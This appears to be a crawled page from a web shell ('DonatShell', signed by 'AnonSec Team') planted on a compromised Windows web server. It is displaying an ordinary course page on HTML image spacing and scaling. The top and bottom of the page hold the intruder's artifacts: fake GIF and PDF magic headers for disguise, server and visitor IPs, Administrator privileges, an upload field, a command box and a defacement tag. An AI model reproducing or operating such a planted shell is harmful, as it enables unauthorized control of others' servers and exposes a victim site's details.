GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/JimMartinson/_Archive/MMDT1021/AllenSite/ch5/examples/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ HOME SHELL ]     

Current File : C:/nginx/html/JimMartinson/_Archive/MMDT1021/AllenSite/ch5/examples//chapter5p10.htm
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>


<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"><title>MMDT1021 Chapter 5 Notes - page 10</title>

<link href="chapter5p10_files/style.css" rel="stylesheet" type="text/css"></head><body>
<p class="pagetitle" align="center">MMDT1021 Chapter 5 Notes - page 10</p>
<p>&nbsp;</p>
<p class="sectiontitle">Adding Space around an Image</p>
<table bgcolor="#ffffff" border="0" cellpadding="4" cellspacing="0" width="750">
  <tbody><tr>
    <td width="100%">No Space</td>
  </tr>
</tbody></table>
<table bgcolor="#ffffff" border="1" cellpadding="4" width="750">
  <tbody><tr>
    <th width="50%">Code</th>
    <th width="50%">Result</th>
  </tr>
  <tr valign="top">
    <td width="50%"><code>This is some text before the image. This is some 
      text before the image. This is some text before the image. This is some 
      text before the image. &lt;img src="images/world.jpg" width="137" height="145" 
      alt="Globe image" border="0" align="right" /&gt;<br>
      This is some text after the image. This is some text after the image. This 
      is some text after the image. This is some text after the image. This is 
      some text after the image. This is some text after the image. This is some 
      text after the image. This is some text after the image.</code></td>
    <td width="50%">This is some text before the image. This is some text 
      before the image. This is some text before the image. This is some text 
      before the image. <img src="chapter5p10_files/world.jpg" alt="Globe image" align="right" border="0" height="145" width="137"> This is some text after the image. This is some text after the image. This 
      is some text after the image. This is some text after the image. This is 
      some text after the image. This is some text after the image. This is some 
      text after the image. This is some text after the image.</td>
  </tr>
</tbody></table>
<p></p>
<table bgcolor="#ffffff" border="0" cellpadding="4" cellspacing="0" width="750">
  <tbody><tr>
    <td width="100%">hspace="25"</td>
  </tr>
</tbody></table>
<table bgcolor="#ffffff" border="1" cellpadding="4" width="750">
  <tbody><tr>
    <th width="50%">Code</th>
    <th width="50%">Result</th>
  </tr>
  <tr valign="top">
    <td width="50%"><code>This is some text before the image. This is some 
      text before the image. This is some text before the image. This is some 
      text before the image. &lt;img src="images/world.jpg" width="137" height="145" 
      alt="Globe image" border="0" align="right" hspace="25" 
      /&gt;<br>
      This is some text after the image. This is some text after the image. This 
      is some text after the image. This is some text after the image. This is 
      some text after the image. This is some text after the image. This is some 
      text after the image. This is some text after the image.</code></td>
    <td width="50%">This is some text before the image. This is some text 
      before the image. This is some text before the image. This is some text 
      before the image. <img src="chapter5p10_files/world.jpg" alt="Globe image" align="right" border="0" height="145" hspace="25" width="137"> This 
      is some text after the image. This is some text after the image. This is 
      some text after the image. This is some text after the image. This is some 
      text after the image. This is some text after the image. This is some text 
      after the image. This is some text after the image.</td>
  </tr>
</tbody></table>
<p></p>
<table bgcolor="#ffffff" border="0" cellpadding="4" cellspacing="0" width="750">
  <tbody><tr>
    <td width="100%">vspace="25"</td>
  </tr>
</tbody></table>
<table bgcolor="#ffffff" border="1" cellpadding="4" width="750">
  <tbody><tr>
    <th width="50%">Code</th>
    <th width="50%">Result</th>
  </tr>
  <tr valign="top">
    <td width="50%"><code>This is some text before the image. This is some 
      text before the image. This is some text before the image. This is some 
      text before the image. &lt;img src="images/world.jpg" width="137" height="145" 
      alt="Globe image" border="0" align="right" vspace="25" 
      /&gt;<br>
      This is some text after the image. This is some text after the image. This 
      is some text after the image. This is some text after the image. This is 
      some text after the image. This is some text after the image. This is some 
      text after the image. This is some text after the image.</code></td>
    <td width="50%">This is some text before the image. This is some text 
      before the image. This is some text before the image. This is some text 
      before the image. <img src="chapter5p10_files/world.jpg" alt="Globe image" align="right" border="0" height="145" vspace="25" width="137"> This 
      is some text after the image. This is some text after the image. This is 
      some text after the image. This is some text after the image. This is some 
      text after the image. This is some text after the image. This is some text 
      after the image. This is some text after the image.</td>
  </tr>
</tbody></table>
<p></p>
<table bgcolor="#ffffff" border="0" cellpadding="4" cellspacing="0" width="750">
  <tbody><tr>
    <td width="100%">hspace="25" vspace="25"</td>
  </tr>
</tbody></table>
<table bgcolor="#ffffff" border="1" cellpadding="4" width="750">
  <tbody><tr>
    <th width="50%">Code</th>
    <th width="50%">Result</th>
  </tr>
  <tr valign="top">
    <td width="50%"><code>This is some text before the image. This is some 
      text before the image. This is some text before the image. This is some 
      text before the image. &lt;img src="images/world.jpg" width="137" height="145" 
      alt="Globe image" border="0" align="right" hspace="25" vspace="25" 
      /&gt;<br>
      This is some text after the image. This is some text after the image. This 
      is some text after the image. This is some text after the image. This is 
      some text after the image. This is some text after the image. This is some 
      text after the image. This is some text after the image.</code></td>
    <td width="50%">This is some text before the image. This is some text 
      before the image. This is some text before the image. This is some text 
      before the image. <img src="chapter5p10_files/world.jpg" alt="Globe image" align="right" border="0" height="145" hspace="25" vspace="25" width="137"> This is some text after the image. This is some text after the image. This 
      is some text after the image. This is some text after the image. This is 
      some text after the image. This is some text after the image. This is some 
      text after the image. This is some text after the image.</td>
  </tr>
</tbody></table>
<p></p>
<p class="sectiontitle">Scaling an Image</p>
<table bgcolor="#ffffff" border="0" cellpadding="4" cellspacing="0" width="750">
  <tbody><tr>
    <td width="100%">True Image.</td>
  </tr>
</tbody></table>
<table bgcolor="#ffffff" border="1" cellpadding="4" width="750">
  <tbody><tr>
    <th width="50%">Code</th>
    <th width="50%">Result</th>
  </tr>
  <tr valign="top">
    <td width="50%"><code>&lt;img src="images/world.jpg" width="137" height="145" 
      alt="True globe" border="0" /&gt;</code></td>
    <td width="50%"><img src="chapter5p10_files/world.jpg" alt="True globe" border="0" height="145" width="137"></td>
  </tr>
</tbody></table>
<p></p>
<table bgcolor="#ffffff" border="0" cellpadding="4" cellspacing="0" width="750">
  <tbody><tr>
    <td width="100%">Double size.&nbsp; What happens when 
      you scale up?&nbsp; Pixilation occurs and the image quality looks poor.</td>
  </tr>
</tbody></table>
<table bgcolor="#ffffff" border="1" cellpadding="4" width="750">
  <tbody><tr>
    <th width="50%">Code</th>
    <th width="50%">Result</th>
  </tr>
  <tr valign="top">
    <td width="50%"><code>&lt;img src="images/world.jpg" width="274" height="290" 
      alt="Bigger globe" border="0" /&gt;</code></td>
    <td width="50%"><img src="chapter5p10_files/world.jpg" alt="Bigger globe" border="0" height="290" width="274"></td>
  </tr>
</tbody></table>
<p></p>
<table bgcolor="#ffffff" border="0" cellpadding="4" cellspacing="0" width="750">
  <tbody><tr>
    <td width="100%">Double width, half height.</td>
  </tr>
</tbody></table>
<table bgcolor="#ffffff" border="1" cellpadding="4" width="750">
  <tbody><tr>
    <th width="50%">Code</th>
    <th width="50%">Result</th>
  </tr>
  <tr valign="top">
    <td width="50%"><code>&lt;img src="images/world.jpg" width="274" height="72" 
      alt="Squished globe" border="0" /&gt;</code></td>
    <td width="50%"><img src="chapter5p10_files/world.jpg" alt="Squished globe" border="0" height="72" width="274"></td>
  </tr>
</tbody></table>
<p>&nbsp;</p>
<table bgcolor="#ffffff" border="0" cellpadding="4" cellspacing="0" width="750">
  <tbody><tr>
    <td width="100%">Scaling to half size.&nbsp; The image 
      quality is fine, but this is not recommended.&nbsp; Why not?&nbsp; 
      Consider file size and download time.
      <p>The 
        original file world.jpg is 14.5KB</p></td>
  </tr>
</tbody></table>
<table bgcolor="#ffffff" border="1" cellpadding="4" width="750">
  <tbody><tr>
    <th width="50%">Code</th>
    <th width="50%">Result</th>
  </tr>
  <tr valign="top">
    <td width="50%"><code>&lt;img src="images/world.jpg" width="68" height="72" 
      alt="Incorrect thumbnail" border="0" /&gt;</code></td>
    <td width="50%"><img src="chapter5p10_files/world.jpg" alt="Incorrect thumbnail" border="0" height="72" width="68"></td>
  </tr>
</tbody></table>
<p>&nbsp;</p>
<table bgcolor="#ffffff" border="0" cellpadding="4" cellspacing="0" width="750">
  <tbody><tr>
    <td width="100%">This is the correct method.&nbsp; 
      Resize the image in your graphics editing software to half size.
      <p> The new, reduced size file worldsm.jpg is 2.2KB.&nbsp; 
        This is a major reduction in file size and download time savings.&nbsp; 
        Notice that reducing an image's dimensions by 1/2 reduces file size 4 
        times smaller or more.</p></td>
  </tr>
</tbody></table>
<table bgcolor="#ffffff" border="1" cellpadding="4" width="750">
  <tbody><tr>
    <th width="50%">Code</th>
    <th width="50%">Result</th>
  </tr>
  <tr valign="top">
    <td width="50%"><code>&lt;img src="images/worldsm.jpg" width="68" height="72" 
      alt="Thumbnail" border="0" /&gt;</code></td>
    <td width="50%"><img src="chapter5p10_files/world1.jpg" alt="Thumbnail" border="0" height="72" width="68"></td>
  </tr>
</tbody></table>
</body></html>

Anon7 - 2022
AnonSec Team